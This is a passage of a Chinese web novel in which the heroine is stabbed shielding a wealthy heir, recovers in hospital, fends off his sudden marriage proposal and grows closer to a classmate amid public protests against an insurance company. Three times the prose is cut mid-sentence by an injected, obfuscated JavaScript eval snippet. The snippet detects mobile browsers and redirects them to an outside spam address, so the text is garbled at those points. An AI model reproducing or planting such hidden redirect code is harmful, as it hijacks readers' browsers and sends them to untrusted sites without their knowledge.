当然他也可以放下外卖原地投降,这样闻鸢不费一兵一卒就能收获一份凉掉的外卖和一颗普度众生的圣母心。 视线在往来的人群中逡巡,直到肩膀被狠狠地撞了一下。 闻鸢抬头,看到一个全身着黑的男人正越过她往前方走去。 他面无表情地双手插兜,就连撞到别人都毫无表示,只顾走自己的路。 经管系也是神人多。 闻鸢有要事在身,不想跟这种人一般见识。 这件事就算揭过了,可谁知闻鸢撇头一看,正巧看见一个圆形玩偶在他书包侧面晃悠着。 蠢萌的表情神似唐钰说的那个什么蛋仔。 闻鸢顿时精神一震。 好啊好啊,还真是王八退房——憋不住了。 闻鸢把管子一横,朝那个人中气十足地吼道:“把外卖还给我,你个杀千刀的小偷。” 说实话,她的声音穿透力极强,仿佛自带扩音器,那一瞬间,所有行色匆匆的人都不约而同地停下脚步。 除了那个男人。 “唉,那男的!站住,别动了听见没有?” 当事人仍然继续走着。 闻鸢在那一瞬间感受到了尴尬,仿佛一场双簧剧却只留她一个人在舞台上表演。 所以整体效果不像鲁智深拳打镇关西,反而更像精神病网红直播发大疯…… 苦哉苦哉,小女子脸都丢尽了。 她气急败坏,露出反派的狞笑,抓起管子冲过去,一边拧住男人的衣领,一边恶狠狠地说道: “我让你别动,你聋了吗?” 男人像刚刚反应过来似的,上下打量闻鸢一眼,似乎在确认她的危险程度。 “我认识你?”他连疑惑都带着冷漠。 见状,闻鸢动之以情,晓之以情,归根结底就只传达一个主旨: 把外卖还给一个快要饿死的穷逼女大学生。 男人冷脸听着。 其实闻鸢不确定他有没有在听,因为他的脸上看不出一丝情绪反馈。 “你认错人了。”他木然地说道,语调平得像个ai。 “啊?”闻鸢懵了,下意识地松开了手。 那个人似乎并不想多做纠缠,但在听到泽诺呼唤闻鸢的声音之后,又立马把身体扭了过来。 这一次男人的肢体语言和面部表情与之前截然不同。 身上弥漫着九分紧张,十分戾气,还有一百万分的危险。 而导致这种转变的人似乎是泽诺。 闻鸢突然有点担心这个人身上是不是绑了什么烈性炸弹。 正当她思索如何应对时,泽诺却一反常态地走到了她身后,拉了拉她的衣袖。 “对不起。” 没有人比闻鸢更清楚这句道歉的含金量。 换做平时,闻鸢早就在心里笑得恭喜发财了,但目前她没空理会泽诺。 因为面前这个男人真的很不对劲。 毫无预兆地,那男人往前大跨一步,闻鸢下意识地按住他的肩膀,但却没撼动他丝毫。 在距离泽诺只有半尺时,他身上的危险陡然变为铺天盖地的杀意。 而闻鸢在那时也瞥到了他从衣内抽出了一把匕首,顿时脑袋炸开,扯着嗓子吼道: “泽诺,跑!!!” “他要杀你!!!” 好端端的钢管侠就这么串台成了大逃杀。 好在作为道具的钢管无论在哪部电影里都同样坚硬好使。 闻鸢当即挥舞着管子朝那男的身上砸了一下。 好消息是砸中了。 坏消息是伤害为0。 更坏的消息,泽诺在跑的过程平地摔了。 ……如何呢?人生的链子快被泽诺掉完了。 等他好不容易爬起来的时候,那刀子离他只有一个指节的距离。 闻鸢脑子一热,上前推开泽诺。 学过物理的人都知道,力的作用是相互的,推开泽诺的力会带着她向反方向倒去,这样她就不会被误伤。 天衣无缝的计划,可惜她忘了世界上还有个东西叫做“惯性”。 这股磅礴的力量正以摧毁性的速度拉近匕首与她的距离。 5厘米,3厘米,0厘米,-5厘米。 其实一开始闻鸢没有感受到疼痛,因为整个过程发生得太快了,腹部的神经元信息还没来得及传输到大脑。 等他拔出匕首时,疼痛就像水溅到油锅里,噼里啪啦地放肆起来。 她摸了一把腹部,不出意外地摸到了一手的血。 医学生的素养再一次警告她: 是时候躺下了。 这是为数不多的、年轻人躺平却不用挨训的时刻。 也是闻鸢第一次感受到生命原来像一张薄纸一样脆弱不堪。 泽诺在一旁泣不成声,手指颤抖地握住电话,接通后颠三倒四地一顿输出,根本不考虑对方有没有听懂。 “好多血……快点你们快点!!!她快死了,她要死了!她死了我怎么办?” “我到底要怎么办?我不能没有她,不可以……老天,为什么???!!!” 关键信息和地址你是一个也不说啊……无敌了。 闻鸢真怀疑他下一秒会说一句“她死了你们都得陪葬”这样的天龙人专属台词。 原本她觉得被捅了一刀算小事,刀口算不上太深,送医及时没什么大碍。 但如果救她的人是泽诺,那就另说了。 她真可能嘎在医院门口。 阿弥陀佛圣母玛利亚福生无量天尊在上…… 小女子不会命送于此了吧? 来个正常路人搭把手可以吗? “华都大学西校区经管楼,从南门进更快一些。” “目前伤者左上腹被匕首刺伤,伤口呈线性,长约5厘米,伴局部出血。” 熟悉的声音响起。 是沈照,她不会认错。 闻鸢用力抬起眼皮,却只模糊地捕捉到一点轮廓。 腹部被人轻轻抬起,伤口处做了简单的止血包扎。 他握住她冰冷的手,在她耳边说了一句: “闻鸢,别怕。” 他本人总带着一种奇怪的安全感和靠谱感。 温柔却有力量,仿佛有他在一切都会安然无恙。 手指在他掌心微弱地蜷缩了一下,像是溺水者本能地抓住了浮木。 他立刻察觉,更用力地回握,指腹在她手背上轻轻摩挲了一下,带着无声的安慰。 “我在,别怕。” 他又重复了一遍,声音更低更沉,像誓言,重重落在她心上。 闻鸢闭上眼,不再试图对抗那席卷而来的眩晕和疼痛,将身体全部的重量和信任都交付于他。 意识沉沉浮浮,唯一清晰的感知是包裹着她的、带着草木气息的清香,和他始终没有松开的手。 那是她唯一感知到的、真实不虚的温暖港湾。 再次睁眼的时候,时间已是三天以后。 监护仪滴滴地响着,护士俯下身来问她身体有没有明显的不适。 闻鸢摇了摇头,只觉得腹部被人打了一拳,钝钝地痛着。 “手术很成功,如果没有并发症的话,大概三周就可以出院了。” “我在哪个医院?” “康泰医院。” 闻鸢脸上出现一个明显的问号。 这是给她干哪儿来了? 最近康泰医院距离他们学校少说都有10公里,按照常理来讲,她应该在更近的市属医院做手术。 护士温柔一笑,“泽诺先生觉得那里环境不好,就安排您术后转院了。” “请您放心,康泰一定会给您最专业最温馨的服务。” 好了,请停止,这里是医院不是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035232|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么五星级米其林餐厅。 护士带着专业的微笑为她换了点滴,然后从抽屉里拿出平板电脑。 在电脑上调整了几个按键后,病床前端缓缓立起,护士找了个支架,把平板安装到了支架上。 “干嘛?”闻鸢看着平板骤然亮起的界面,简直一头雾水。 护士笑着回复道:“泽诺先生说您醒后要见您一面。” 闻鸢无语,“让他过来医院,折腾我干嘛?” 护士顿了顿,眼珠转动,似乎正在思考措辞,“您说笑了,现在情况特殊。” 什么意思?ai侵略地球了?联邦政权被颠覆了? 为什么?就因为一个平平无奇的女大在平平无奇的一天被平平无奇的人捅了一刀? 闻鸢还没来得及问她话里的意思,视讯在数秒内接通了。 就好像,泽诺这几天都闲得没事干只捧着手机在那儿刷短视频。 被短视频荼毒的大脑在见到闻鸢的第一面时也只能说出一句干巴台词: “你醒啦。” 后一句必然紧接他的个人感受。 “我当时吓死了你知道吗?” 那本人现在痛死了你知道吗? 闻鸢在心里翻了个白眼,决定说点有营养的话题。 “凶手抓到了吗?” 泽诺义愤填膺地点了点头,竖起一根手指,像是在发某种恶毒的誓言。 “奥兰德家族不会放过他的,绝不!” “那他为什么要杀你,你搞清楚没有?” “啊,是医保的事情,前几个月总部不是调整了方案吗?他对此挺不满的,所以就想报复。” 事到如今,闻鸢特别后悔当初和泽诺吵架。 这当然不是因为闻鸢慈悲为怀、以德报怨,而是争吵导致的信息差让闻鸢差点丢掉小命。 泽诺告诉她,其实在闻鸢遇刺的前一天晚上,他曾在邮箱里收到了一封不明来历的恐吓信。 当时他以为是某些人的恶作剧,信息都没看完就把邮件删掉了,甚至还评价了句“俗套”。 看不惯他的人太多了,他明白这是美貌给他带来的附加困扰,所以从没往心里去。 殊不知跟他的刻薄和愚蠢相比,美貌才是他最次要的缺点。 总之,现在他妈出于安全考虑,禁止他外出,连上课都改成了线上。 而他家的安保级别也提到了最高级,听说连艾薇出席大型活动的时候,现场都配了狙击手。 好家伙,跟总统一个配置。 这事轰动不小,据唐钰所说,闻鸢做手术当晚还一度冲上热搜。 奥兰德集团发律师函谴责凶手,并决定起诉。 但群众一边倒地站在凶手那边,原因无他,人民苦资本家久矣。 后来闻鸢才知道,那个凶手本名安德·曼内,是燕大在读学生。 他家本不富裕,母亲重病,想做手术却被告知手术费不能通过医保赔付。 ——原本这类疾病的手术费是能获赔的,但上个月奥兰德集团刚刚宣布调整了方案,拒赔率陡然提高。 没办法,他辛苦筹钱,但始终没凑够最后一笔。 结果可想而知,他母亲走了。 据说他被捕时脸上没有一丝愧疚,全是未得逞的遗憾和懊悔。 “奥兰德可耻!奥兰德可耻!” “要么反抗,要么死亡!” 他的怒吼视频被路人上传到社交媒体,一夜之间累积了将近三千万的播放量。 人民群情激奋,连官媒都下场平息。 一时间所有社交媒体都充斥着暴躁的气息。 一天内,闻鸢的手机最多能接到十家媒体的电话,都在询问她本人对此事的看法。 她敢有什么看法? 她只是一个外卖被盗、认错小偷,然后被行凶者捅了一刀的无辜路人而已。 天杀的外卖贼!!! 手机嗡嗡地震天响,闻鸢忍无可忍地掀开被子。 接通电话后对面沉默了将近五秒,然后泽诺略带扭捏的声音响起。 内容也是相当炸裂,感觉像老实人下定决心,丢掉面子,豁出去了。 “闻鸢,我们结婚吧。” 结你爹。 36. 第 36 章 数年来,闻鸢一直在思考这样一个问题: 泽诺是不是神经病? 得到的答案很辩证、很哲学。 是,也不是。 确切来说,泽诺总在正常和犯病之间游离,以致于有时候她都搞不清楚泽诺到底是在搞抽象还是认真的。 “我们结婚吧。”他用手指托住自己的脸,轻轻凑近屏幕,长而卷的睫毛根根分明。 明明穿着饱和度极低的家居服,那张脸却比满园春色还要明艳动人。 见女人迟迟没有反应,omega的小指微微蜷起,末端不受控地颤了颤。 泽诺在紧张。 说实话,他不认为闻鸢有拒绝的理由,但她目前的反应却并不在他的意料之内。 闻鸢的震惊只持续了不到一秒,随后她露出一个虚弱的笑容,状似不经意地试探道: “你是认真的吗,泽诺?” 泽诺没有回答,只是调整了一下姿势,将下巴在自己的手臂上。 他不言不语地盯着闻鸢看了好久,似乎是想仔细地把这个女人的面庞刻进心里。 女人睡在夏末秋初的暖阳里,纱帘如同白色的海浪一样轻轻掀起,柔软的纱流淌在闻鸢的床侧,顺着她的手腕慢慢滑落。 她的手腕很细,但那天推开他的力气却大得惊人。 她那时候在想什么?她知道自己会受伤吗?知道自己会痛、会流血吗? 知道自己……会没命吗? “你哭了?”闻鸢疑惑地抬头,想要凑近屏幕看仔细一些,却不小心扯到伤口,疼得差点失去表情管理。 “你别乱动,”泽诺悄悄把眼角的泪水抹去,叮嘱道:“等我能出门之后就来看你。” 他的嗓音异常温柔,闻鸢很不适应,浑身起了一层鸡皮疙瘩。 就在她以为“结婚”这件事要翻篇之后,他又杀了一个回马枪,一下把闻鸢的脑子干宕机了。 “你喜欢什么款式的婚戒?素一点的?钻石要几克拉呢?”泽诺自顾自地说着。 “啊?” 不是,这,这对吗? 她刚刚也没说答应啊,怎么就开始商量婚戒了? “结婚……为什么突然想到要结婚呢?我们明明约定好……” 说好了只当情人的,结婚是另外的价钱。 泽诺上扬的嘴角一顿,漂亮的蓝眼睛里忽而闪现出类似于愧疚与悲伤的情绪。 “你也觉得我很任性对不对?” “那天和你吵架之后,我哭了很久很久,我发誓,绝对不要再原谅你。” “我恨你不懂我,我恨你不跟我好好说话,我恨你不常陪在我身边。” “可是我还是会想你,想到整夜睡不着觉。” “其实,爱就像诅咒一样,只要你爱着一个人,就会忍不住地思念对方。” “那天受伤,流了好多血,我很怕你死掉,我怕永远也见不到你了。” 他忽然闭上眼睛,仿佛在平复情绪,可是越来越颤抖的声音和明显不稳的气息却在诉说他的惊惧。 “当时你倒在地上,连呼吸都很微弱,我才明白——” “我宁愿你永远跟我吵架,宁愿你永远不懂我,宁愿你跟我冷战一辈子......” 他的喉结剧烈滚动了一下,声音沙哑破碎,“......只要你活着就好。” 他低头,压制住自己濒临失控的情绪。 “我为过去自己所做的混账事道歉。” “别人的目光、指点、嘲笑,现在通通都不重要了。” “因为在我生命中,重要的只有你一个人而已。” “闻鸢,”他喃喃道,喉咙像被堵住说不出话了,“我会很乖,求你……别不要我。” 说出最后这句话后,他忽然像卸下了什么沉重的包袱一样,泪水全飙在屏幕上,啪嗒啪嗒地,像一场剧烈的冰雹。 泽诺跋扈,却实在美丽,连哭起来都有梨花带雨的脆弱感。 闻鸢的理智在跟同情心打架。 “好了,别哭了,我这不是好好的吗?” 都说到这份上了,她要是再刺激他,指不定明天就能在康泰医院的精神科见他了。 “那我们什么时候去领证啊?”他边擦泪水,便哽咽着说道。 你个恋爱脑,哪壶不开提哪壶。 闻鸢噎了一下,有点怀疑这小子在演戏骗婚,观察了他半天之后,闻鸢决定搬出挡箭牌。 “你父母那边怎么办?他们肯定不同意的。” 谁知他忽然迷茫地睁开双眼,一脸天真地问道:“难道不能先结婚以后再告诉他们吗?” 我勒个先斩后奏超绝孝子。 但凡闻鸢是吃个绝户的白眼狼,这一刻指不定有多高兴呢。 可惜闻鸢是个有职业操守的打工人。 道德素质和三观都超过及格线那种。 她干笑两声,给他普及了下常识,“omega结婚需要直系亲属中的一位当证婚人,否则婚姻无效。” 泽诺:…… 她趁势开解道:“误会消除了,你也不生我的气了,为什么还想着结婚?” 他好像被这个问题问住了,想了想后回答道: “因为想要更深的联结,婚姻就像一根无形的线,可以把两个人拴在一起。” 他好像从来没什么安全感,需要靠“拴在一起”的方式来确认闻鸢不会离开。 闻鸢沉默了一会,不慌不忙地回应道:“可是,这同样也是一份责任,这种责任会剥夺很多自由。” “婚姻不是爱的终点,相爱的两个人也不一定要结婚。” 泽诺思索了一会,忽然把自己蜷缩成一小团,有点赌气似的,“老跟我说些大道理……” 闻鸢被他撒娇的行为逗笑了,安抚道:“这只是我的一点看法,或许你可以自己摸索答案。” 他把手机贴在自己耳朵边,听着闻鸢跟他说些不着边际的琐事,那颗漂浮不定的心似乎有了归处。 为什么呢? 为什么待在闻鸢身边,哪怕只是听见她的声音,就觉得心里填满了幸福和安稳? 这就是“爱”的感觉吗? 闻鸢费劲巴拉地把泽诺哄睡,自己也困得不行,浅眠了大概一小时左右,她又被痛醒了。 盯着白茫茫一片的天花板,闻鸢半睁着眼皮,像对人生的重拳失去了抵抗的欲望。 护士推着车进来换药,有一搭没一搭地跟她聊天,“刚刚有个小伙子打来电话,问你醒了没有。” “谁啊?”闻鸢好奇地眨了眨眼睛。 “不知道具体名字,只记得姓沈。”护士笑眯眯地回复道。 “沈照?” “啊对!就是这个小伙子,前几天来看你看得可勤快了,哎哟哟一天恨不得来三趟。” 她忽然眼神暧昧地瞟了闻鸢一眼,“你男朋友?” 闻鸢的眉毛抖了一下,立即否认道:“不是,是同学。” 她否认得太快,脸色有种说不上的僵硬,护士看出了蹊跷,眼睛里满是八卦。 “哦——同学啊,挺好的,知根知底。” “哦”字被拉得很长,她用一种怀念的口吻说道:“年轻真好啊。” 闻鸢直截了当地回复道:“您喜欢年轻人的话,我也可以给您介绍几个。” “咳咳咳……” 她嗓子忽然有点不好,脸颊爆红,着急忙慌地转移话题道:“换药的时候少说话。” ……明明是你先说的。 换完药之后闻鸢又睡了一觉,醒来发现旁边的沙发上多了一个人。 当时外面正在下雨,雨滴打在窗户上,劈啪作响,闪电划过乌黑的天空,雷声轰鸣不停。 沈照穿的灰色外套沾了点水,挂在衣架上,鞋面上还留着深浅不一的水痕。 冒雨来的吗? 华大和医院相差十多公里,坐地铁大概需要一小时。 或许是察觉到闻鸢的目光,他放下手中的杂志抬头望去。 “有没有哪里不舒服?”清凌的嗓音带着特有的温和。 闻鸢垂下眼,避开和他的对视,“我想喝水。” 他了然,轻车熟路地从柜子里拿出一个纸杯,然后从水壶里到了点水出来。 他用手指捂了一下,确认不会烫嘴之后把吸管放到闻鸢嘴边。 他动作有些太流畅了,闻鸢还没反应过来,嘴巴就已经含住了吸管。 水温刚刚好,闻鸢有点渴,咕噜咕噜把杯子里的水全喝完了。 “你什么时候来的?”她侧头看向沈照,对方正在一丝不苟地规整桌面。 听到这话,他回头看了看墙上的钟,语气仍旧淡淡的。 “大概两个小时之前。” 换句话说,他就在病房里这么干坐着,守着她睡觉,守了两个小时。 “听护士说你醒了,就想来看看你。”他忽而微不可察地舒了一口气,“万幸……” 雨声越来越急促,滴答声吞没了沈照含糊不清的话。 或许是被雨声催促着,闻鸢忽然觉得自己的心跳加快了几分。 那种莫名的感觉让闻鸢有些慌神,她连忙移开视线,僵硬地盯着对面的电视机。 “要不……看会儿电视?”她转移话题道。 沈照眉梢微抬,黑色的眸子闪过笑意,“好。” 按开电视,一条新闻蹦了出来,记者站在层层人墙之前,在一片混乱之中扯着嗓子播报道: “目前,奥兰德集团门口已经聚集了上千人,这次抗议已经持续了三天,人数还在不断增多。” “您为什么要加入这次抗议?” 话筒举到一个男子面前,此人左脸写着“人权”,右脸写着“自由”,手上还拿着一个“释放安德!”的大板子。 “安德没有错,他是我们的英雄,站在这里的所有人都是康泰医保的受害者,自从奥兰德集团提高了拒保率,已经有不计其数的家庭面临破产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049324|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我们只是在夺回我们的基本权利,我们不能任由保险公司宰割!!!” “安德无罪!安德无罪!” 他振臂一挥,后面的群众一呼百应,氛围顿时激烈起来。 记者被他们的愤怒所震撼,退出人群之后愣了几秒才清了清嗓子重新开口道: “据悉,奥兰德集团将对安德进行起诉,集团律师认为,纵使谋杀未遂,按照联邦法律,故意杀人应按重罪处理,最严重可导致死刑。” “首都新闻持续报道。” 闪电掠过天空,光痕在闻鸢脸上一闪而过。 她转头看着玻璃上滚落的水珠,神色晦暗不明。 沈照不动声色地看着她,手指一抬,换了个频道。 “沈照,你觉得呢?安德是替人出头的英雄,还是罪大恶极的凶手?” 沈照沉默了一会儿,给了一个出乎意料的答案,“没有绝对的黑白,或许他都是。” “这件事发生之后,包括康泰在内的大部分保险公司,都下调了拒保率。” “第一个反抗不合理制度的人,人们往往会把他尊为‘英雄’。” “可他反抗的方式是伤害另一个无辜的人,血债血偿的逻辑却是反道德的。” 或许是意识到什么,沈照忽而一顿,原本放松的眼神渐渐严肃起来。 “不过我没资格去评价他的所作所为,或者说,全世界除了你以外,没人能审判他。” 未经他人苦,莫劝他人善。 闻鸢听懂了他的言外之意,长叹一声,很平静地说了这样一句话: “可这世上,又有谁真的有资格审判谁呢?‘对错’本就是我们主观赋予的标签。” “好了,不说这些苦大仇深的事了。” 她眼尾微弯,唇角勾起一抹清浅的弧度,瞬间化开了凝滞的空气。 “目前我只明白一件事。” 她偏头望向沈照,灯光从她睫毛间漏下,在脸颊投下细碎的影。 沈照怔了怔,撞进那双盛着笑意的眼睛。 他深潭般的眸子里,此刻正完整地映着她的脸庞。 “我以后会更加珍惜生命的。” 雨下了一整夜,翌日乌云散去,闻鸢在鸟儿的啁啾声中醒来。 护士照常来给她量体温。 她抬起手臂,却发现左手小臂绕着一块手帕。 “这是?”她询问护士,护士瞟了一眼后抽空回复道: “昨天你睡着后换了一组药水,那小伙子怕你输液的那只手臂受凉疼痛,就给你弄上了。” “还挺细心的。”她微抬眉梢,不住赞叹道。 “他什么时候走的?” 闻鸢转了一圈手臂,不期然看到手肘处那个堪比教科书的医用结,唇角勾起一个浅淡的笑意。 “大概是你输完液之后?总之挺晚了。”护士把温度记录表合上,对她眨眨眼睛,温柔地嘱咐道: “目前恢复情况良好,有事就按铃哦。” “嗯,谢谢。” 今早暂时不需要输液,闻鸢精神也好一些了,便开始着手处理手机里的信息。 刚回复完各位同门师长的问候,名侦探赵四便发来一条信息。 【名侦探赵四】:没死就吱一声。 【WY】:吱。 【名侦探赵四】:……玩儿呢?前面发你那么多消息不回? 【WY】:人在医院,刚救回来。[图片] 【名侦探赵四】:乖乖,这是欠钱不还被打了? 【WY】:(怒)我在你眼里的形象居然是这样的? 【名侦探赵四】:(撸袖子)有本事把尾款结了。 【WY】:不好意思,差点忘了。[发起转账] 【名侦探赵四】:(谄媚)谢谢老板。(给大佬点烟.jpg) 简直变如脸。 【WY】:最近有什么新线索吗? 【名侦探赵四】:包的!而且炸裂程度超乎你想象,梦都不敢这么梦。 【WY】:你现在说话越来越像娱乐圈狗仔了。 【名侦探赵四】:自己看!不惊讶的话我从此金盆洗手!(附件) 闻鸢心说大可不必,如果哥们儿退圈的话,侦探圈只失去了一个无足轻重的人,而萌宠圈却永远失去了他们的御前摄影师。 带着审判的态度,闻鸢点开那个附件,“医学诊断报告”几个字让她心头一跳。 【姓名】陆璟 【年龄】22岁 【性别】omega 【诊断说明】19岁人工诱导分化,由beta转化为omega,后信息素紊乱,腺体疼痛难忍,排异现象严重,专家建议放射治疗,但考虑患者已怀孕15周,目前仅采用保守疗法。 嗯?人言否?!!! 闻鸢花了十分钟,把诊断说明读了三遍。 ……明明是很简单的几个字,为什么理解起来难如登天呢? 37. 第 37 章 人工诱导分化、排异、怀孕……这几个词加在一起足够让闻鸢消化一星期。 科幻片都不敢这么演!!! 这个世界的婴儿自诞生起就能确定第一和第二性别,但部分特殊群体会在18岁左右迎来最后一次分化,第二性别随之改变。 数年前,一家生物科技公司根据这类人的分化特征研制出一类药品,宣称可以无副作用地“定制”第二性别。 很快,这种药品在不知不觉间吸引了众多不明所以的消费者前去购买,一条灰色产业链迅速崛起,一时间赚得盆满钵满。 直到有记者爆出部分受害者因长期服用此类药物后丧失了腺体功能,这场闹剧才真正停息。 公司总裁被逮捕判罪,所用药物也遭到全面销毁和禁止。 联邦同时还颁布了一条法案: 凡涉及人工诱导分化的人员(包括当事人)将面临监禁和起诉。 而作为腺体专业的医学生,闻鸢知道人工分化究竟有多不靠谱。 经过诱导后的腺体会更脆弱,信息素常处于紊乱状态,患者需要长期服用药物控制,严重时需要切除整条腺体。 所以闻鸢不能想象,在如此恶劣的身体条件下,陆璟居然还怀有身孕?! 不要命了吗? 短短的一页资料,闻鸢看了一上午,缓过劲儿后,她忽然想到了一个更为重要的问题。 【WY】:孩子的母亲是谁? 【名侦探赵四】:你觉得呢? 其实闻鸢脑子里第一个冒出来的人是艾薇,毕竟陆璟爱她爱得死去活来,甚至在她结婚之后自伤。 但这些都是猜测,不知真假。 【WY】:我不知道。 【名侦探赵四】:巧了,我也不知道。 闻鸢一口气差点没提上来,就像看剧看到正精彩处却突然被一个巨大的弹窗挡住屏幕,扫兴极了。 【名侦探赵四】:孩子是谁的重要吗?估计这孩子都嘎了。 现在不管陆家或者奥兰德家,都查无此人,你不觉得很奇怪吗? 也对,如果陆璟生了孩子,不管是不是私生子,陆家不会不管。 那个孩子,推算下来,大概跟她一个年纪,这么大个人,怎么会一点踪迹都没有? 除非当初根本没保下来。 结合陆璟当时的身体、精神状况,闻鸢越发觉得这个可能性很大。 得,这下也算是竹篮打水一场空。 原本以为这条秘辛可以当做牵制艾薇的筹码,但这些也只不过是白开水一样的陈年旧事罢了。 闻鸢恍恍惚惚地在医院里度过了懒散的三周,做梦都在复盘着最近发生的事件。 闻鸢保证,她住院的这三周是华都最热闹的三周。 先是奥兰德起诉安德一案被全网直播; 然后奥兰德大厦门口被人泼墨; 再是艾薇出席活动时被人指着鼻子大骂; 最后是全联邦人民下场起底奥兰德的商业版图,把家族内所有人都扒了个底朝天。 闻鸢眼睛一闭一睁就是吃瓜,有种看热闹不嫌事大的幸灾乐祸。 沈照在她出院的时候来了一趟,帮忙搬了些东西,还给她带了份文件。 “这是?”闻鸢掂了掂文件袋,疑惑地问道。 沈照穿着一件深咖色的运动外套,里面是一件米色的T恤,挺拔的身姿配上俊朗的外表,简直可以打包丢到校园剧演男主角。 “是莱昂大学的留学文件,上周我去听了宣讲,觉得你会感兴趣。” 他侧了侧头,指着文件袋里的一份表格解释道: “莱大的腺体研究所是全世界最顶尖的,里面的腺体靶向治疗领域正好与你手头的项目相契合。” “你可以考虑考虑。” 他解释得很认真,每一份文件具体内容是什么,需要填写什么表格,要用到什么证件,他都总结在了一张纸上。 他热切的黑色眸子像一股磅礴的潮水,不遗余力地将她推向更光明的前途。 事实却是,根本不存在这样的前途,自从签订了那份契约开始,闻鸢就被囚在一个奢华的笼子里。 纵使有漂亮强壮的翎羽又如何?她为之骄傲的羽毛最终还是会变成点缀华服的配饰。 看她忽然沉默下来,沈照有些拿不准主意,便微微弯腰,小心翼翼地观察她的表情。 “虽然只有一个名额,但我觉得以你的能力能够申请上,我会尽全力帮你,放心。” “你呢?我记得你也想去莱大攻读学位。”闻鸢的眼睛划过他骤然低沉下来的面庞。 他的唇抿成一条薄薄的直线,“教授推荐我去另一个研究所,那边答应给我全额奖学金和一些补贴。” 他没点名原因,但闻鸢是聪明人,她知道沈照家庭条件不好,负担不起留学费用。 “我知道了。” “谢谢你,沈照。”她抬起头,浅棕色的眸子第一次认真地注视着面前这个男人。 她的瞳色很浅很浅,就像一滩琥珀色的小水洼,影影绰绰地,在表面倒映出沈照的面影。 沈照忽而想到第一次见到她,她穿着一件宽大的实验服,未施粉黛,却在众人间脱颖而出。 她向他歪歪头,伸出一只手,笑意盈盈地握住他僵硬的手指,“沈照是吧?我叫闻鸢。” 过去的数十年里,他善于做隐形人,善于被别人忽略,善于掩藏自己的一切感情。 而闻鸢却善于发现他,善于把他从阴影里面揪出来,然后把他推向更广阔的天地,让所有人都看到他的才华。 沈照不知道自己是从什么时候喜欢上她的,但喜欢她是太容易做到的事情。 可正因为太喜欢,所以他花了很多力气去克制,但那份爱似乎已经渗进骨子里,融进血肉里,几乎变成了他的本能。 他很安静地看着闻鸢,用眼神描绘她脸颊的轮廓和眼睛的形状。 “不必对我说谢谢,很高兴能帮到你。” 闻鸢微抬下颌,坦坦荡荡地张开手臂,盈起一个灿烂的笑容。 “那给你一个感谢的拥抱怎么样?” 沈照怔愣了一下,清俊的脸也绽出一个浅淡的微笑。 “我的荣幸,闻鸢女士。” 他上前一步,微微弯腰,用手环住闻鸢的肩膀,然后慢慢收紧。 鸢尾花的香气漫过鼻尖,温热的面颊轻轻蹭过他的脖颈,发丝拂过沈照的面颊,伴着一点微弱的痒意。 她瘦了很多,一只手就能环住,整个人埋进他怀里的时候,沈照觉得自己心里少掉的那一块在瞬间被填满了。 沈照抱着她,像浮游生物抱着一块万古不移的礁石。 纵使流水侵蚀,风吹浪打,只有这一刻被永远地凝固成永恒,成为某种亘古不变的记忆。 重新踏入奥兰德府邸的时候,闻鸢莫名觉得这座老宅变得阴郁了许多,像座讳莫如深的古堡。 大厅的水晶灯熄灭了,只留下四周昏黄的壁灯。 仆人们沉着脸,低头匆匆走过,没人敢在大厅停留一会儿。 侍女长捧着一个残破的花瓶下了楼,见到闻鸢之后也只是提醒了一下,不敢多说别的话。 “泽诺少爷又惹家主生气了。” 因为刺杀案,奥兰德集团的股票一跌再跌,名声也远不如从前,艾薇不生气才怪,偏偏泽诺爱往枪口上撞。 只能说祝他成功吧。 闻鸢事不关己地耸了耸肩,拒绝了侍女长帮忙提行李的请求,自己拖着行李上楼了。 打开房间,床上多了一条深绿色的法兰绒披肩,大概是泽诺留下的。 房间很整洁,把东西简单规整了一下后,闻鸢大喇喇地躺在床上,听着楼上隐约传来的争吵声和椅子摩擦地面发出的刮擦声,忽然有点昏昏欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058828|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡。 “扣扣扣……” “闻鸢小姐?” 一道年轻温和的声音响起。 闻鸢睁开眼睛,小心翼翼地翻身起来,“什么事?” “约顿先生提醒您明天晚上七点去参加乔家晚宴,邀请函已经放在您书桌上了。” 乔家?艾薇什么时候和乔家打起交道了? 尽管心里疑惑,闻鸢却礼貌地回应道:“知道了,谢谢。” 等女仆离开以后,闻鸢才拿起那张邀请函仔细研究起来。 晚宴主要是给乔家老太太庆生,按照常理来说,这种级别的晚宴规模不大,一般请的都是亲近的世交家族。 不过考虑到艾薇的母亲和乔老太太有一定的交情,且两家都是华都有头有脸的家族,互相走动一下也很正常。 至于为什么要带上她? 她大概是起到一个盯梢的作用,主要是防着大少爷不干蠢事,不说蠢话。 